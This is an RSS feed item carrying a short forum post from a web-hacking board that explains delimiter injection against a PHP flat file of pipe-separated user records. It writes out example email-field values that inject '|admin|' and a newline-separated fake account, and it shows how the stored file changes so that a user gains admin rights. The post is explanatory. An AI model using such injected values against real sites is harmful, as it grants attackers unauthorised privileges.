 <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
&lt;? <br />
Starwiz|12345678|Starwiz@awesome.com|admin| <br />
Miind|12345678|Miind@awesome.com|user| <br />
Mulciber|87654321|Mulciber@awesome.com|user| <br />
?&gt;</code><hr />
</div>Now, Starwiz is a legit admin, and Miind and Mulciber and trying to hack my site. So, they happen to guess to try this attack. <br />
 <br />
Well, where they would input their emails, Miind tries to change his email to: <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
Miind@awesome.com|admin|</code><hr />
</div>And he saves it.. Well, accoring to my php file, it would now be like. <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
&lt;? <br />
Starwiz|12345678|Starwiz@awesome.com|admin| <br />
Miind|12345678|Miind@awesome.com|admin||user| <br />
Mulciber|87654321|Mulciber@awesome.com|user| <br />
?&gt;</code><hr />
</div>But, lets say that I added some security by making it check that every line is the proper length, and if not, it would revert that line to a previous one.. Well, Miind tells Mulciber, and Mulciber gets a new idea, using the same method. So, he changes his email to: <br />
 <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
Mulciber@awesome.com|admin| \n NotAHacker|487654321|Awesome@lol****you.com|user|</code><hr />
</div>That, would change my crapy php file to: <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
&lt;? <br />
Starwiz|12345678|Starwiz@awesome.com|admin| <br />
Miind|12345678|Miind@awesome.com|user| <br />
Mulciber|87654321|Mulciber@awesome.com|admin| <br />
NotAHacker|487654321|Awesome@lol****you.com|user| <br />
?&gt;</code><hr />
</div>Using the \n line, it should Make the php file add everything after \n to a new line. <br />
 <br />
Now, Mulciber has admin, and can do whatever he wants.</div>

]]></content:encoded>
			<category domain="http://forum.intern0t.net/web-hacking-war-games/"><![CDATA[Web Hacking & War Games]]></category>
			<dc:creator>Starwiz</dc:creator>
			<guid isPermaLink="true">http://forum.intern0t.net/web-hacking-war-games/2925-parameter-delimination.html</guid>
		</item>
	</channel>
</rss>
